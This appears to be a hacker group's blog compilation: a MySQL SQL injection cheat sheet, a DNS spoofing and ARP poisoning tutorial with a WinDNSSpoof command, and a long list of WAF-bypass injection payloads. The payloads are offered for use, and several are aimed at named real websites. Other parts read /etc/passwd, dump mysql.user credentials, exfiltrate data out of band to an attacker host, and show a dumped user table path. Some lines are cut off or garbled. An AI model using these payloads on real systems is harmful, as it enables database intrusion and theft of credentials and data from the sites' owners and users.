INDIAN ELITE HACKERS

Hello ! Readers

"SQL INJECTION Queries"

[THIS Queries CAN BE USED IN HACKBAR ADDON FIREFOX.]

Version:

SELECT VERSION()
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os

Directories:

SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir

Users:

SELECT USER()
SELECT SYSTEM_USER()
SELECT SESSION_USER()
SELECT CURRENT_USER()
Current Database:
SELECT DATABASE()
Concatenation:
SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Retu
Multi-Concat:
#Stacks the row "foo" from the table "bar" together, using the separa
#Note: This operation can by default only grab 1024 bytes, and do no
#The 1024 byte limit is stored in the @@group_concat_max_len variabl
SELECT GROUP_CONCAT(foo SEPARATOR '<br />') FROM bar

Better-Concat:

#CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROU
#Which therefor allows you to concat strings together up to the @@ma
#instead of @@group_concat_max_len. The default value for @@max_allo
#1048576 bytes, instead of @@group_concat_max_len's 1024.
SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name
Change Collation:
SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from
SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.
Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) st
SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) en
Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'
SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar
Counting Columns:
SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from t
Get Amount of MySQL Users:
SELECT COUNT(user) FROM mysql.user

Get MySQL Users:

SELECT user FROM mysql.user
Get MySQL User Privileges:
SELECT grantee,privilege_type,is_grantable FROM information_schema.us

Get MySQL User Privileges on Different Databases:

SELECT grantee,table_schema,privilege_type FROM information_schema.sc

Get MySQL User Privileges on Different Columns:

SELECT table_schema,table_name,column_name,privilege_type FROM information.schema

Get MySQL User Credentials & Privileges:

SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Upd
Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_p
Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_
Repl_client_priv) FROM mysql.user
Get MySQL DBA Accounts:
SELECT grantee,privilege_type,is_grantable FROM information_schema.us
SELECT host,user FROM mysql.user WHERE Super_priv='Y'

Get Databases:

SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT db FROM mysql.db
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
Get Databases & Tables:
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.colu
Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.c
SELECT A Certain Row:
SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
...
SELECT foo FROM bar LIMIT N,1; #Returns row N.
Benchmark (Heavy Query):
#Performs an MD5 calculation of "1" for 10000 times.
SELECT BENCHMARK(10000,MD5(1))
Sleep:
#Works only in MySQL 5 and above.
#Sleeps for 5 seconds, returns 0 on success.
SELECT SLEEP(5)
Conversion (Casting):
SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
SELECT CAST('65' AS CHAR); #Returns: A
Substring:
SELECT SUBSTR('foobar',1,3); #Returns: foo
Hexadecimal Evasion:
SELECT 0x41424344; #Returns: ABCD
SELECT 0x2E; #Returns: .
SELECT 0x3A; #Returns: :
ASCII to Number:
SELECT ASCII('A'); #Returns: 65
Number to ASCII:
SELECT CHAR(65); #Returns: A
SELECT CHAR(89); #Returns: Y
SELECT CHAR(116,101,115,116); #Returns: test
If Statement:
#Returns 1 if the database is running MySQL 5.
SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);
#Returns 1 if the database is running MySQL 4.
SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);
Case Statement:
#Returns 1 if the database is running MySQL 5.
SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END
#Returns 1 if the database is running MySQL 4.
SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END
Read File(s):
#Requires you to have the File_priv in mysql.user. On error this stat
SELECT LOAD_FILE('/etc/passwd')
Write File(s):
#You must use quotes on the filename!
SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hel
Logical Operator(s):
AND, &&; #The AND operator have && as an alternative syntax.
OR, ||;  #The OR operator have || as an alternative syntax.
NOT, !; #The NOT operator have ! as an alternative syntax.
XOR; #The XOR operator got no alternative syntax.
Fuzzy Code Comment:
#Code within /*! are getting executed by MySQL. Additional /*! can be
SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/
Comments:
SELECT foo, bar FROM foo.bar-- Single line comment
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar# Single line comment
SELECT foo, bar FROM foo.bar;%00 Batched query with additional NULL-
A few evasions/methods to use between your MySQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Fuzzy Comment (/*!); #Be sure to end your query with (*/)
Parenthesis, ( and ); #Can also be used as separators when used right
Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a sep
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))
Auto-Casting to Right Collation:
SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s)
DNS Requests (OOB (Out-Of-Band)):
#For more information check this.
SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_a
Command Execution:
#If you're on a MySQL 4.X server, it's possible to execute OS comman
#It can be done if you're able to upload a shared object into /usr/
#The file extension is .so, and it must contain an "User Defined Fun
#Get raptor_udf.c, it's the source-code for just that feature.
#Remember to compile it for the right CPU Architecture.
#The CPU architecture can be resolved by this query:
SELECT @@version_machine;
<blockquote>A couple of useful blind queries to fingerprint the data
All of these return either True or False, as in, you either get a res
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53;
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52
Running as root:
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=U
Got File_priv:
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
LIMIT 0,1)=CHAR(89),1,0)=1
Got Super_priv (Are we DBA):
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
LIMIT 0,1)=CHAR(89),1,0)=1
Can MySQL Sleep:
#This query will return True and should take above 1 second to execut
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1
Can MySQL Benchmark:
SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1
Are we on *NIX:
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47
Are we on Windows:
SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=
Do a certain column exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information
Do a certain table exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
Do a certain database exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db

more queries comming soon

#Indian_Elite_Hackers

Hey !
We are Back
As we promised that we make some new tutorial on DNS Spoofing.

Now Start

What is DNS Spoofing ?

DNS Spoofing is the art of making a DNS entry to point to an another IP
than it would be supposed to point to. To understand better, let's see
an example.You're on your web browser and wish to see the news on
www.cnn.com, without to think of it, you just enter this URL in your
address bar and press enter.
Now, what's happening behind the scenes
? Well... basically, your browser is going to send a request to a DNS
Server to get the matching IP address for www.cnn.com, then the DNS
server tells your browser the IP address of CNN, so your browser to
connect to CNN's IP address and display the content of the main page.
Hold
on a minute... You get a message saying that CNN's web site has closed
because they don't have anymore money to pay for their web site. You're
so amazed, you call and tell that to your best friend on the phone, of
course he's laughing at you, but to be sure, he goes to CNN web site to
check by himself.
You are surprised when he tells you he can see the
news of the day as usual and you start to wonder what's going on. Are
you sure you are talking to the good IP address ?Let's check. You ask
your friend to fire up his favorite DNS resolving tool and to give you
the IP address he's getting for www.cnn.com.Once you got it, you put it
in your browser URL bar :

http://212.153.32.65

You feel ridiculous and frustrated when you see CNN's web page with its
daily news.
Well
you've just been the witness of a DNS hijacking scenario. You're
wondering what happened, did the DNS Server told you the wrong IP
address ? Maybe... At least this is the most obvious answer coming to
our mind.
In fact there are two techniques for accomplishing this DNS hijacking.
Let's see the first one, the "DNS ID Spoofing" technique.

1) DNS Cache Poisoning

As
you can imagine, a DNS server can't store information about all
existing names/IP on the net in its own memory space.That's why DNS
server have a cache, it enables them to keep a DNS record for a while.
In
fact, A DNS Server has the records only for the machines of the domain
it has the authority, if it needs to know about machines out of his
domain, it has to send a request to the DNS Server which handles these
machines and since it doesn't want to ask all the time about records,
it can store in its cache the replies returned by other DNS servers.
Now let's see how someone could poison the cache of our DNS Server.
An
attacker his running is own domain (attacker.net) with his own hacked
DNS Server(ns.attacker.net) . Note that I said hacked DNS Server
because the attacker customized the records in his own DNS server, for
instance one record could be www.cnn.com=81.81.81.81
1) The attacker sends a request to your DNS Server asking it to resolve
www.attacker.net
2) Your DNS Server is not aware of this machine IP address, it doesn't
belongs to his domain, so it needs to asks to the responsible name
server.
3) The hacked DNS Server is replying to your DNS server,
and at the same time, giving all his records (including his record
concerning www.cnn.com) Note : this process is called a zone transfer.
4) The DNS server is not "poisoned".The attacker got his IP, but who
cares, his goal was not to get the IP address of his web server but to
force a zone transfer and make your DNS server poisoned as long as the
cache will not be cleared or updated.
5) Now if you ask your DNS
server, about www.cnn.com IP address it will give you 172.50.50.50,
where the attacker run his own web server. Or even simple, the attacker
could just run a bouncer forwarding all packets to the real web site
and vice versa,so you would see the real web site, but all your traffic
would be passing through the attacker's web site.

2) DNS ID Spoofing

We
saw that when a machine X wants to communicate with a machine Y, the
former always needs the latter IP address. However in most of cases, X
only has the name of Y, in that case, the DNS protocol is used to
resolve the name of Y into its IP address.
Therefore, a DNS request
is sent to a DNS Server declared at X, asking for the IP address of the
machine Y. Meanwhile, the machine X assigned a pseudo random
identification number to its request which should be present in the
answer from the DNS server.Then when the answer from the DNS server
will be received by X, it will just have to compare both numbers if
they're the same, in this case, the answer is taken as valid,otherwise
it will be simply ignored by X.
Does this concept is safe ? Not
completely. Anyone could lead an attack getting this ID number. If
you're for example on LAN, someone who runs a sniffer could intercept
DNS requests on the fly, see the request ID number and send you a fake
reply with the correct ID number... but with the IP address of his
choice.Then, without to realize it, the machine X will be talking to
the IP of attacker's choice thinking it's Y.

By the way, the DNS
protocol relies on UDP for requests (TCP is used only for zone
transfers), which means that it is easy to send a packet coming from a
fake IP since there are no SYN/ACK numbers (Unlike TCP, UDP doesn't
provide a minimum of protection against IP spoofing).

Nevertheless, there are some limitations to accomplish this attack.
In
my example above, the attacker runs a sniffer, intercept the ID number
and replies to his victim with the same ID number and with a reply of
his choice.
In the other hand, even if the attacker intercepted your
request, it will be transmitted to the DNS Server anyway which will
also reply to the request(unless the attacker is blocking the request
at the gateway or carry out ARP cache poisoning which would make the
attack possible on a switched network by the way).
That means that
the attacker has to reply BEFORE the real DNS server, which means that
to succeed this attack, the attacker MUST be on the same LAN so to have
a very quick ping to your machine, and also to be able to capture your
packets.

Practical example ( for
testing purposes ONLY)
To see yourself how to hijack a connection from a machine on your local
area network,we can do the followings :

First step :Poison the ARP cache of the victim's machine (tools and explanations
for realizing this task can be found at http://www.arp-sk.org)

Second step :Now, outgoing packets of the target will be redirected to your host,but
you have to forward the traffic to the real gateway, this can be
achieved witha tool like Winroute Pro.
Third step :We then use WinDNSSpoof,
developed by valgasu (www.securiteinfo.org)
which isa tool that greatly help to carry out DNS ID Spoofing. (Before
to use this tool be sure you have the Winpcap library installed on your
machine, see http://winpcap.polito.it).We
run it in the cmd like :

wds -n www.cnn.com -i 123.123.123.123 -g 00-C0-26-DD-59-CF -v

This
will make www.cnn.com to point to 123.123.123.123 on the victim's
machine. 00-C0-26-DD-59-C being the MAC Address of the gateway or DNS
server.

-----------------------
|#Indian_Elite_Hackers|
-----------------------

WAF evasion methods for sql Injections

I want to share WAF evasion methods for sql Injections. Most are old but few are newer. You can bypass most of the "404 forbidden" and "NOT Acceptable" errors by these methods.

1) id=1+UnIoN+SeLecT 1,2,3 --+

2) id=1+UnIOn/**/SeLect 1,2,3 --+

3) id=1+UNIunionON+SELselectECT 1,2,3 --+

4) id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3 --+

5) id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3 --+

6) id=1+%23hihihi%0aUnIOn%23hihihi%0aSeLecT+1,2 ,3 --+

7) id=1+UnIOn%0d%0aSeleCt%0d%0a1,2,3 --+

8) Id=1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C1,2,3 --+

/*!fuckU%0d%0aunion*/+/*!fuckU%0d%0aSelEct*/ 1,2,3 --+

9) Id=1/*!fuckU%0d%0aunion*/+/*!fuckU%0d%0aSelEct*/ 1,2,3 --+

div + 0
Having +1 = 0
AND+ 1 = 0
/*!and*/ +1 = 0
and( 1 )=(0 ) x
OR false the url query
id =- 1 union all select
id =null union all select
id =1 +and+ false + union +all +select
id = 9999 union all select

+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//

http : //www.phm.ie/project.php?cat=Conservation'
+and(1)=(0) +union+distinct+select+ 1
and use: and 1=0 to apear column number in the page
or
+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0‏)

Hard WAF bypass tips
Whitespaces :
union(select(0),version(),(0),(0),(0),(0),(0),(0),
(0))
%0Aunion%0Aselect%0A1,2,3--
/**/union/**/select/**/1,2,3--
like ::
PHP Code:
http ://www.goavenues.com/
list_itinerary.php?id=-4%20union
%20%28select%201,2,version
%28%29,4,5,6,7,8%29%20--
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
NICE QUERY
www.zerocoolhf.altervista.org/level2.php?id=-1'union+select*from(select+1)a+join(select'%3Cfont+color=red+font+face=vardana%3EMr_7un47!5%3C/font%3E')b+join+(select+version())c--+

www.zerocoolhf.altervista.org/level1.php?id=-1'%0AUunioNIOn%0AsELeCT%0A1,VERSION(),3%23
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Bypassing ::
(Double Keyword): UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni<on all sel<ect
%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d
%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f
%252a*/
+%23sexsexsex%0AUnIOn%23sexsexsex
%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
like ::
PHP Code:
http ://www.goavenues.com/
list_itinerary.php?id=-4%20union
%23aa%0Aselect%201,2,version
%28%29,4,5,6,7,8%20--
PHP Code:
http ://www.goavenues.com/
list_itinerary.php?id=-4%20/**/
union/*!50000select*/
%201,2,version
%28%29,4,5,6,7,8%20--
PHP Code:
http ://www.goavenues.com/
list_itinerary.php?id=-4%20/*!
20000%0d%0aunion*/+/*!20000%0d
%0aSelEct*/%201,2,version
%28%29,4,5,6,7,8%20--
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
after id no. like id=1 +/*!and*/+1=0
+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
false the url query :
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
id= - 1 union all select
id= null union all select
id=1 +and+false+ union+all+select
id= 9999 union all select
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Order Bypassing do like this
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
/*!table_name*/
+from /*!information_schema*/./*!tables*/ where
table_schema=database()
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
unhex(hex(Concat
(Column_Name,0x3e,Table_schema,0x3e,table_
Name)))
/*!from*/information_schema.columns/*!where*/
column_name%20/*!like*/char(37,%20112,%2097,
%20115,%20115,%2037)
like ::
PHP Code:
http ://www.westbury.com/
article.php?
article_id=-117%20union%20select
%201,2,unhex%28hex%28Concat
%28Column_Name,0x3e,Table_
schema, 0x3e,table_Name
%29%29%29,4,5,6,7/*!from*/
information_schema.columns/*!
where*/column_name%20/*!like*/
char%2837,%20112,%2097,%20115,
%20115,%2037%29--
user_passwd>westbur6_website>user_info
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
used with order ::
convert( using ascii) or unhex(hex())
like :
PHP Code:
www. westbury. com/ article. php?
article_id =- 117 union select 1 , 2 ,
convert ( group_concat
(table_name ) using ascii ), 4 , 5 ,6 , 7 +
from +information_schema .tables --
IF'ascii' dosent work? you can try
PHP Code:
ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
binary
cp1250
big5
cp1251
cp1256
cp1257
cp850

------------------------------Best Bypass WAF------------------------------------

[~] order by [~]
/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/

[~] UNION select [~]
/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+ #?uNiOn + #?sEleCt
+ #?1q %0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?<ion sel="">+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+

[~] information_schema.tables [~]
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

[~] concat() [~]
CoNcAt()
concat()
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))

[~] group_concat() [~]
/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)
CONVERT(group_concat(table_name)+USING+latin2)
CONVERT(group_concat(table_name)+USING+latin3)
CONVERT(group_concat(table_name)+USING+latin4)
CONVERT(group_concat(table_name)+USING+latin5)
Group_Concat
group_concat ()
/*!group_concat*/ ()
grOUp_ConCat ( /*!*/ , 0x3e , /*!*/ )
group_concat (, 0x3c62723e )
g % 72oup_c % 6Fncat % 28 % 76% 65rsion
% 28 %29 ,% 22 ~ BlackRose% 22 %29
CoNcAt ()
CONCAT (DISTINCT Version ())
concat (, 0x3a ,)
concat %00 ()
% 00CoNcAt ()
/*!50000cOnCat*/ ( /*!Version()*/ )
/*!50000cOnCat*/
/**//*!12345cOnCat*/ (, 0x3a ,)
concat_ws ()
concat (0x3a ,, 0x3c62723e )
/*!concat_ws(0x3a,)*/
concat_ws ( 0x3a3a3a , version()
CONCAT_WS ( CHAR ( 32, 58, 32 ), version
(),)
REVERSE( tacnoc )
binary (version ())
uncompress (compress ( version()))
aes_decrypt ( aes_encrypt ( version
(), 1), 1 )[/ b ][/ u ][/ size ][/ color ]

[~] after id no. like id=1 +/*!and*/+1=0 [~]
+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)
cp852
cp866
cp932
dec8
euckr
latin1
utf8
trick to appear info inside img tag
PHP Code:
concat( 0x223e3c62723e ,, 0x3c696d
67207372633d22 )
when the column is get into html tag,but its not
always inside img tag.
it could be <a> or </noscript> or anything.
like ::
PHP Code:
http ://fzszy.chinacourt.org/
public/detail.php?
id=-168' union /*!
%53elect*/ concat
(0x223e3c2f613e3c2f74643e,
version
(),0x3c6120687265663d22)--+

[DUMP DB in 1 Request]
PHP Code:
( select (@) from ( select(@:= 0x00 ),
( select (@) from ( information_schema . columns) where ( table_schema >=@) and (@) in (@:= concat
(@, 0x0a , ' [ ' ,table_schema , ' ] >' , table_name , ' > ' , column_name )))) x )
( select(@) from ( select (@:= 0x00 ),
( select (@) from ( table ) where (@) in (@:= concat
(@, 0x0a , column1 , 0x3a , column2 )))) a )

[DUMP DB in 1 Request improve]
PHP Code:
( select(@ x ) from (select (@x := 0x00 ),
( select( 0 ) from
( information_schema . columns) where
( table_schema !
= 0x696e666f726d6174696f6e5f736368656d61 )and
( 0x00 ) in(@ x := concat
(@ x ,0x3c62723e , table_schema , 0x2e , table_name , 0x3a , column_name )))) x )
like
http : //www.marinaplast.com/page.php?
id=-13 union select 1,2,(select
(@x)from(select(@x:=0x00),(select
(0)from(information_schema.colu​​
mns)where(table_schema!
=0x696e666f726d6174696f6e5f736368656d61)and
(0x00)in(@x:=​c​oncat
(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5 --

WHITESPACES BYPASS .
%09 %0A %0B %0C %0D %A0
get version - DB_NAME - user - HOST_NAME -
datadir
PHP Code:
version()
convert( version() using latin1 )
unhex ( hex( version()))
@@GLOBAL. VERSION
( substr
(@@version ,1 , 1 )=5 ) :: 1 true 0 fals
# like #
www. marinaplast. com/ page . php?
id =- 13 union select 1 , 2 ,( substr
(@@version ,1 , 1 )=5 ), 4, 5 --
1 it 's mean version 5 and 0 mean version 4
+and substring(version(),1,1)=4
+and substring(version(),1,1)=5
+and substring(version(),1,1)=9
+and substring(version(),1,1)=10
# like #
www.marinaplast.com/page.php?
id=13+and substring(version
(),1,1)=5
download good version 5
www.marinaplast.com/page.php?
id=13+and substring(version
(),1,1)=4
not download good version 4
version 5
id=1 /*!50094aaaa*/ error
id=1 /*!50095aaaa*/ no error
id=1 /*!50096aaaa*/ error
# like #
www.marinaplast.com/page.php?id=13 /
*!50095aaaa*/  no error v5
version 4
id=1 /*!40123 1=1*/--+- no error
id=1 /*!40122rrrr*/ no error
# like #
www.marinaplast.com/page.php?id=13 /
*!40122rrrr*/ error not v4
☆¸.•*☆ ☆*•.¸☆
DB_NAME()
@@database
database()
id=vv()
# like #
www.marinaplast.com/page.php?
